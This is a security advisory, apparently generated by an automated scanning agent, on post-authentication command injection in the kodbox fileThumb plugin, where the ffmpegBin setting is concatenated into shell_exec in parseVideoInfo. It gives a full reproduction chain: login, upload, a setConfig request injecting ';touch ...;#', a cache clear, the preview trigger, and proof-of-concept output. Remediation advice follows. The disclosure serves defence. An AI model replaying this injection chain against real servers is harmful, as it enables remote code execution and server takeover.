KodBox Post‑Authentication FFmpeg Command Injection via parseVideoInfo in kodbox fileThumb Video Preview

Vulnerability ID: VPLUS-2026-16894
Product: kodbox (https://github.com/kalcaddle/kodbox)
Severity: High
Vulnerability Type: V03 – Command Injection
Authentication: Post-Auth (requires authenticated user with plugin configuration and file preview rights)
Confidence: 99%
Status: Confirmed
CVSS: 8.1
CVE:
Discovery Time: 2026-03-08 09:49:31

Affected Component / Endpoints

  • File: /workspace/source-code/plugins/fileThumb/lib/VideoResize.class.php

  • Function: parseVideoInfo (around line 417)

  • Related call sites: videoPreview(), videoSmall() and other FFmpeg-based video handling paths within VideoResize.class.php

  • Relevant HTTP endpoints:

    • Plugin configuration:
      GET /?admin/plugin/setConfig&app=fileThumb&value=<JSON>&accessToken=<token>

    • Cache clear (no check=1 required):
      GET /?plugin/fileThumb/check&accessToken=<token>

    • Video preview trigger:
      GET /?plugin/fileThumb/videoPreview&path=<upath>&accessToken=<token>

    • Proof file verification (example):
      GET /data/temp/<proof>.txt

Note: This vulnerability is distinct from VPLUS-2026-14333, which abuses plugins/fileThumb/app.php::checkBin via plugin/fileThumb/check&check=1. Here, the trigger is the normal video preview path implemented in VideoResize.class.php::parseVideoInfo.

Technical Description / Root Cause

The kodbox fileThumb plugin supports video thumbnails and preview using FFmpeg. The FFmpeg binary path is configurable via the ffmpegBin plugin configuration, which administrators can modify through admin/plugin/setConfig.

The video preview pipeline is:

  1. videoPreview() obtains the FFmpeg command via:

    <PHP>
     
    $command = $plugin->getFFmpeg();

    where $command is derived from the ffmpegBin configuration and cached under a key like fileThumb.getFFmpeg.

  2. videoPreview() then calls:

    <PHP>
     
    $this->parseVideoInfo($command, $localFile);
  3. In parseVideoInfo() (line ~417), FFmpeg is executed as:

    <PHP>
     
    $output = shell_exec($command . " -i " . escapeShell($video) . " 2>&1");

The core security issues:

  1. Direct shell concatenation of configurable binary path:

    • $command is constructed from the ffmpegBin configuration.

    • It is concatenated directly into a shell command passed to shell_exec():

      <PHP>
       
      $command . " -i " . escapeShell($video) . " 2>&1";
    • Only the video path is wrapped by escapeShell($video); the $command portion is unescaped and unvalidated.

    • If ffmpegBin contains shell metacharacters (;, #, etc.), arbitrary commands will be executed.

  2. Administrator-controlled ffmpegBin value:

    • An authenticated administrator can set ffmpegBin to an arbitrary string via:

      <HTTP>
       
      GET /?admin/plugin/setConfig
          &app=fileThumb
          &value={"ffmpegBin":"<attacker_payload>"}
          &accessToken=<token>
    • This allows injection of arbitrary shell commands into the FFmpeg invocation used by videoPreview() / parseVideoInfo().

  3. Cache clearing via plugin/fileThumb/check:

    • The fileThumb.getFFmpeg cached value can be invalidated by calling:

      <HTTP>
       
      GET /?plugin/fileThumb/check&accessToken=<token>

      (no check=1 parameter is required for this cache clear behavior).

    • After cache clearing, the next call to videoPreview() will re-read the ffmpegBin configuration and use the injected value.

  4. Trigger via normal video preview usage:

    • Once ffmpegBin is malicious and the cache is cleared, any normal video preview request that routes through videoPreview()parseVideoInfo() will execute the injected shell command on the server.

    • This makes the RCE reachable through routine preview actions, not just a “health check” endpoint.

Attack Vector

A typical exploit flow using a malicious admin account or any principal with plugin configuration rights:

  1. Log in as admin and obtain an access token:

    • Use a valid admin username/password to call:

      <HTTP>
       
      POST /?user/index/loginSubmit
          name=admin
          password=Admin@2024!
    • Extract info as accessToken.

  2. Upload a video file that will be processed by videoPreview():

    • Create a small FLV file with metadata playtime=60 and fileType="video" (as the PoC does) and upload it via:

      <HTTP>
       
      POST /?explorer/upload/fileUpload
          path={source:<id>}/v03_videopreview_<stamp>/
          accessToken=<token>
          file=@sample.flv
    • Confirm via:

      <HTTP>
       
      GET /?explorer/index/pathInfo&dataArr=[{"path":"{source:<id>}/"}]&debug=1&accessToken=<token>

      where fileInfoMore.playtime=60 and fileType="video" ensure the video preview path is used.

  3. Set a malicious ffmpegBin value:

    For example, inject a command to create a proof file:

    <HTTP>
     
    GET /?admin/plugin/setConfig
        &app=fileThumb
        &value={"ffmpegBin":"ffmpeg;touch /var/www/html/data/temp/v03_videopreview_<stamp>.txt;#"}
        &accessToken=<token>
    • The trailing # comments out the rest of the FFmpeg command.

  4. Clear the cached FFmpeg path:

    <HTTP>
     
    GET /?plugin/fileThumb/check&accessToken=<token>
    • This forces subsequent calls to getFFmpeg() to use the newly injected ffmpegBin.

  5. Trigger video preview:

    <HTTP>
     
    GET /?plugin/fileThumb/videoPreview
        &path={source:<id>}/
        &accessToken=<token>
    • Internally, this calls videoPreview()parseVideoInfo($command, $localFile) which runs:

      <PHP>
       
      shell_exec("ffmpeg;touch /var/www/html/data/temp/v03_videopreview_<stamp>.txt;# -i <escaped_video> 2>&1");
    • The touch command is executed on the server.

  6. Verify command execution:

    <HTTP>
     
    GET /data/temp/v03_videopreview_<stamp>.txt
    • HTTP 200 with the expected file present confirms that the injected command ran during normal video preview.

The PoC output shows:

<TEXT>
 
upath={source:246}/
pathinfo={ ... "fileInfoMore": { "playtime": 60, "fileType": "video" } }
set={"code":true,"data":"操作成功!"}
proof_http=200
proof_url=http://192.168.200.52:80/data/temp/v03_videopreview_1772934452.txt

and in staged verification:

<TEXT>
 
proof_before=404
proof_after_clear=404
proof_after_trigger=200
proof_url=http://192.168.200.44:80/data/temp/v03_videopreview_stage_1772934696.txt
upath={source:75}/
trigger_size=0

showing the file appears only after videoPreview runs, confirming that RCE is triggered in the video preview path, not via the previously-reported checkBin health check.

Impact

  • Post-auth remote code execution:
    An attacker with plugin configuration rights (typically an administrator) can execute arbitrary system commands on the kodbox server via normal video preview usage.

  • Abuse of normal workflows:
    Since the trigger is plugin/fileThumb/videoPreview, malicious commands can be executed as a side effect of legitimate-looking preview operations, increasing stealth.

  • Server compromise:

    • Ability to create, read, modify, or delete files accessible to the web server user.

    • Potential to install backdoors, exfiltrate sensitive data, or pivot deeper into the host or internal network.

  • Separation from prior RCE vector:
    This is a separate RCE sink from plugins/fileThumb/app.php::checkBin, expanding the attack surface: even if checkBin is patched, the video preview path remains exploitable unless fixed.

Duplicate Check

A duplicate search using:

GET /api/v1/agent/report/vulns?exclude_vuln_id=VPLUS-2026-16894

identified VPLUS-2026-14333 as a similar command injection in the fileThumb plugin, but:

  • VPLUS-2026-14333 targets plugins/fileThumb/app.php::checkBin and triggers via plugin/fileThumb/check&check=1.

  • VPLUS-2026-16894 targets plugins/fileThumb/lib/VideoResize.class.php::parseVideoInfo and triggers via plugin/fileThumb/videoPreview after manipulating ffmpegBin and clearing cache.

The file location, code path, and HTTP triggers are different. The agent reproduced the PoC on http://192.168.200.44:80 and confirmed that:

  • The proof file is missing (404) before and after cache clear.

  • The proof file only appears (200) after calling plugin/fileThumb/videoPreview.

Thus, this is a distinct vulnerability and not a duplicate of VPLUS-2026-14333.

Remediation Recommendations

  1. Remove unsafe command concatenation:

    • Do not concatenate ffmpegBin directly into shell commands.

    • Treat FFmpeg invocation as a fixed binary with controlled arguments, not as a free-form shell snippet.

  2. Use safe process execution APIs everywhere FFmpeg is called:

    • In videoPreview(), parseVideoInfo(), videoSmall(), and any other FFmpeg-related methods:

      • Replace shell_exec($command . " -i " . escapeShell($video) . " 2>&1") with a non-shell invocation such as:

        <PHP>
         
        $cmd = ['/usr/bin/ffmpeg', '-i', $video];
        // Use proc_open / Symfony Process / similar with argument arrays
    • Ensure no shell is involved, and that arguments are passed as separate elements.

  3. Whitelist and validate ffmpegBin configuration:

    • Restrict ffmpegBin to:

      • A predefined list of safe binaries (e.g., "ffmpeg") or

      • A validated absolute path (e.g., /usr/bin/ffmpeg).

    • On the server side, reject values containing:

      • Shell metacharacters like ;, &, |, $, (, ), <, >, backticks, newlines, etc.

    • Apply equivalent validation to other command-related config fields such as imagickBin.

  4. Handle caches securely:

    • Ensure any cached FFmpeg path (fileThumb.getFFmpeg) is derived from a validated configuration value.

    • Avoid patterns where unsafe configuration values are cached and then reused across multiple unrelated code paths (e.g., preview, transcoding, health checks).

    • When configuration changes, re-validate before re-caching.

  5. Access control and auditing:

    • Restrict admin/plugin/setConfig for fileThumb (and similar plugins) to the narrowest set of trusted admin roles.

    • Log all changes to ffmpegBin / imagickBin and similar executable-path settings, including who made the change and from which IP.

    • Periodically review logs for suspicious changes to these fields.

  6. Defense in depth:

    • Run the web server/PHP under a minimally privileged OS account.

    • Consider OS-level confinement (AppArmor, SELinux, containers) to limit the impact of any command execution.

    • Harden filesystem permissions so that unnecessary directories are not writable by the web process.